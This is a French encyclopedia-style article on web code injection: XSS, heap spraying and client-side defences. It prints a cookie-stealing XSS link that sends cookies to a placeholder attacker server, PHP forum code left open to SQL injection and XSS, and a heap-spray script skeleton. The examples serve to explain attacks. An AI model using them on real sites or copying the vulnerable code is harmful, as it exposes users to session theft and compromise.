L'injection de code est une technique qui consiste à injecter des données dans une application pour en modifier le comportement. Dans le cadre d'une application web, on peut distinguer deux familles, les injections du côté client web et les injections du côté serveur de base de données. Ces injections sont souvent effectuées en injectant le code malicieux via les formulaires disponibles dans ces applications. Cet article présente certaines techniques d'injections et certains mécanismes de protection appliqués aux langages JavaScript et SQL

JavaScript

Le JavaScript est un langage de programmation de script orienté client. Il peut également être utilisé côté serveur, avec par exemple AngularJS ou node.js. Les préoccupations de l'utilisateur étant de plus en plus importantes, il est devenu l'un des langages incontournables en web 2.0.

Ce langage possède différentes politiques de sécurité. La première permet de limiter l'exécution d'un script. Il n'a en effet pas accès à toutes les ressources système puisqu'il est limité aux ressources du navigateur. Ce mode de fonctionnement est appelé sandboxingKirda et al., page 330. La seconde est la same-origin policy. Elle vise à restreindre l'accès d'un script aux données du domaine d'exécution. Deux domaines sont considérés égaux à partir du moment où le protocole, l'hôte et le port sont identiques sur les deux domaines.

Le JavaScript étant de plus en plus utilisé, il est la cible, au même titre que le SQL, de plusieurs attaques visant à outrepasser ces politiques de sécurité.

Types d'attaque Deux catégories d'attaque peuvent être utilisées, l'attaque de Cross-site scripting (XSS) et celle du heap-spraying. Cross-site scripting (XSS)

Principes et buts vignette|upright=1.75|Schéma d'une attaque XSS classique

Une attaque XSS est une attaque visant les sites internet ou les applications Web. Elle consiste à injecter des scripts dans la réponse d'une application, généralement du HTML, qui sera interprétée par le navigateur. Le but de ces deux attaques est de récupérer les données sensibles de l'application et de les envoyer vers un serveur sous le contrôle de l'attaquant.

Il y a deux types d'attaque XSS, la reflected XSS (aussi communément appelée type 1 ou first-order XSS) et la persistent XSS (aussi communément appelée type 2, stored XSS ou second-order XSS)Vogt et al., page 2Kirda et al., page 331Kiezun et al., page 201-202.

La reflected XSS consiste à injecter des scripts dans une application pour qu'ils soient exécutés sur le navigateur du côté client. Cette attaque n'est pas stockée dans l'application, aucune trace ne sera visible sur le serveur. Elle intervient généralement par la propagation d'un lien et utilise le social engineering. Lorsque l'utilisateur clique sur ce type de lien, une requête contenant du code malicieux est envoyée vers le serveur, celui-ci va alors retourner une réponse contenant ce code à l'utilisateur (page, erreur). Le code injecté sera alors exécuté par le navigateur dans le même contexte que les scripts de l'application, permettant ainsi à l'attaquant de récupérer le cookie associé à l'utilisateur et d'envoyer ces informations vers un serveur sous son contrôle.

La persistent XSS est une attaque qui consiste à stocker du code malicieux à l'intérieur du système de stockage de l'application. Pour qu'elle soit effective, l'application devra utiliser ces données dans la génération de ses réponses. L'exemple courant est un message posté sur un forum. Le message sera nécessairement stocké en base de données. Si celui-ci contient du code malicieux, il sera exécuté à chaque fois qu'un utilisateur ouvrira la page le contenant. Cette attaque a donc beaucoup plus de cibles potentielles que la précédente.

Exemples

Reflected XSS et site de vente en ligne Les informations de l'utilisateur sont stockées à l'intérieur d'un cookie. Un attaquant décide de contourner la politique de sécurité du JavaScript. Il peut alors le faire très simplement en distribuant le lien suivant aux utilisateurs. <a href="http://www.online-market.com/ <script> document.location='http://www.my-server.com/steal-cookie.php?'+document.cookie</script>"> Cliquez ici pour obtenir une réduction ! </a> Le lien affiché sera : « Cliquez ici pour obtenir une réduction ! ». Si l'utilisateur n'est pas attentif à la cible du lien, il suffit qu'il soit authentifié et qu'il clique sur celui-ci pour envoyer ses données sensibles vers le serveur de l'attaquant. Persistent XSS et forum Un attaquant détecte une faille sur un forum où les utilisateurs peuvent écrire et réagir à des sujets. Le code (très simplifié) du forum est le suivant : if($_GET['mode'] == 'add') { addMessage(); } else displayAllCommentsForTopic();

function addMessage() { if(!isset($_POST['msg']) || !isset($_POST['subject_id']) || !isset($_POST['author'])) { exit;

$msg = $_POST['msg']; $subject_id = $_POST['subject_id']; $author = $_POST['author']; $sql = "INSERT INTO comments VALUES('$msg','$author','$subject_id')"; $result = mysql_query($sql); }

function displayAllCommentsForTopic() { if(!isset($_GET['subject_id'])){ exit;

$subject_id = $_GET['subject_id']; $sql = "SELECT comment FROM comments WHERE subject_id='$subject_id'"; $result = mysql_query($sql); while($row = mysql_fetch_assoc($result)) { echo $row['comment'];

L'un des vecteurs d'attaque possible pour l'attaquant lors de la soumission d'un formulaire pourrait être : mode=add msg=Bonjour !alert("Persistent XSS"); subject_id=1 author=Attacker

Le script alert("Persistent XSS"); sera alors exécuté à chaque fois qu'un utilisateur accèdera au sujet 1.

Heap-spraying vignette|alt=Illustration heap-spraying|Illustration du heap-spraying Une attaque de type utilise la mémoire d'une application pour exécuter du code malicieux. Elle est compliquée à mettre en place et nécessite des connaissances avancées dans le moteur d'exécution du langage visé. Depuis quelques années, les systèmes d'exploitation possèdent des systèmes de protection efficaces. Un système possède nécessairement une protection pour la pile d'exécution, des algorithmes avancés pour l'allocation mémoire, des espaces mémoires réservés aléatoirement et une protection sur l'exécution du code en lui-même. Cependant, les attaques de ce type sont de plus en plus nombreuses et sont particulièrement efficaces dans les applications web puisque les cibles y sont d'autant plus nombreusesRatanaworabhan et al., page 169.

Principes et but Le heap spraying requiert que l'attaquant se base sur d'autres failles de sécurité pour lancer son attaque. En effet, l'attaquant va utiliser la technique du « spray » pour augmenter les chances que le code malicieux qu'il a placé en mémoire soit exécuté. Il faut tout d'abord savoir que l'allocation des objets en mémoire se fait aléatoirement. Cette technique consiste alors à placer le plus d'objets possibles contenant du code malicieux à l'intérieur de celle-ci. Plus le nombre d'objets y sera important, plus il sera probable que l'injection réussisse. Pour augmenter les chances que les objets placés en mémoire soient exécutés, il faut qu'ils respectent une certaine structure. Pour cela, un objet doit contenir un espace suffisamment grand d'instructions NOP, puis un espace contenant le code malicieux de l'attaque. Sa cible la plus courante est les langages interprétés puisqu'ils ne nécessitent aucune compilationRatanaworabhan et al., page 171.

Ce type d'attaque n'est pas limité au Web. De nombreuses variantes ont été proposées pour le bytecode compilé ou les piles de thread.

Exemple Voici un exemple de code javascript utilisé pour attaque de type heap-spraying. <script> shellcode = unescape("%u4343%u4343%..."); oneblock = unescape("%u0D0D%u0D0D"); var fullblock = oneblock; while (fullblock.length<0x40000) { fullblock += fullblock;

sprayContainer = new Array(); for (i=0; i<1000; i++) { sprayContainer[i] = fullblock + shellcode;

</script> La ligne 2 va permettre d'allouer une chaîne contenant le code malicieux à exécuter. Les lignes 3 à 8 vont permettre de constituer la partie NOP de l'objet, les lignes 10 à 13 de créer 1000 objets pour le heap-spraying. Chaque objet contiendra une partie NOP et le code à exécuter. Ce code javascript est contenu dans une page HTML qui sera divulguée par l'intermédiaire de son lien. À chaque fois que la page sera affichée, le javascript sera exécuté et les 1000 objets seront placés en mémoire. L'attaquant devra alors attendre que son code soit exécuté.

Mécanismes de détection Plusieurs mécanismes de détection peuvent être mis en place pour contrer ces attaques. Deux politiques peuvent-être envisagées : Mise en place des sécurités nécessaires du côté serveur. Mise en place d'outils du côté client pour les détecter.

Noxes : XSS Web Firewall Principes NoxesKirda et al., page 332 est un mécanisme de protection placé du côté client. Il a été développé par Microsoft et fonctionne en tant que service Windows. Son principe de fonctionnement reprend celui du pare-feu présent sous Windows. Sur un pare-feu classique, une notification apparaît demandant à l'utilisateur s'il souhaite ou non accepter la connexion distante lorsque aucune règle n'a été définie pour celle-ci. Ici, Noxes va appliquer le même procédé, non pas sur la connexion distante, mais sur les requêtes à l'intérieur même de celle-ci. En résumé, il permet à l'utilisateur d'autoriser ou de refuser des requêtes HTTP sur les différentes connexions distantes actives.

Noxes affiche une alerte à chaque fois que des données sensibles sont envoyées vers un autre domaine. L'utilisateur a alors le choix, par le biais d'une pop-up, d'accepter ou non cette requête. Plusieurs optimisations ont été mises en place pour éviter un nombre d'alertes trop important. Par exemple, les liens locaux affichées sur une page ne sont pas traités ou la limitation du nombre de liens externes fixée à quatreKirda et al., page 333.

Efficacité Noxes a été évalué sur des bugs référencés pouvant entraîner des attaques XSS (notamment Php-Nuke). Selon l'étude, il leur a permis de détecter et d'empêcher la plupart de ces attaquesKirda et al., page 335.

Limites Noxes possède également quelques limites. Premièrement, il ne protège pas des attaques de type D.O.S (Denial Of Service attack). En effet, aucune information sensible n'est transmise durant celles-ci. L'attaquant pourrait par exemple forcer la fermeture du navigateur d'un utilisateur. Il est également possible pour un attaquant de lancer une attaque XSS et d'injecter du code HTML à la place du Javascript. Noxes se basant sur les cookies et la session, aucune alerte ne sera levée.

Marquage dynamique et statique des données sensibles Principes Les marquages dynamiques et statiquesVogt et al., page 1 sont des mécanismes de détection placés du côté client. Ils vont empêcher un site internet tiers ou une application web tierce de récupérer les données sensibles de l'utilisateur. Celles-ci sont automatiquement référencées au lancement de la page ou de l'applicationVogt et al., page 4. Pour cela, un mécanisme de marquage dynamique des données est utilisé. Celui-ci va permettre de marquer une donnée comme sensible. Il prend également en compte les dépendances, ce qui va permettre de suivre la donnée tout au long de son cycle de vie, quel que soit le traitement effectuéVogt et al., page 5. Un marquage statique y est également associé pour pallier quelques cas de dépendances indirectes qu'il n'est pas possible de détecter avec le marquage précédentVogt et al., page 7.

Implémentation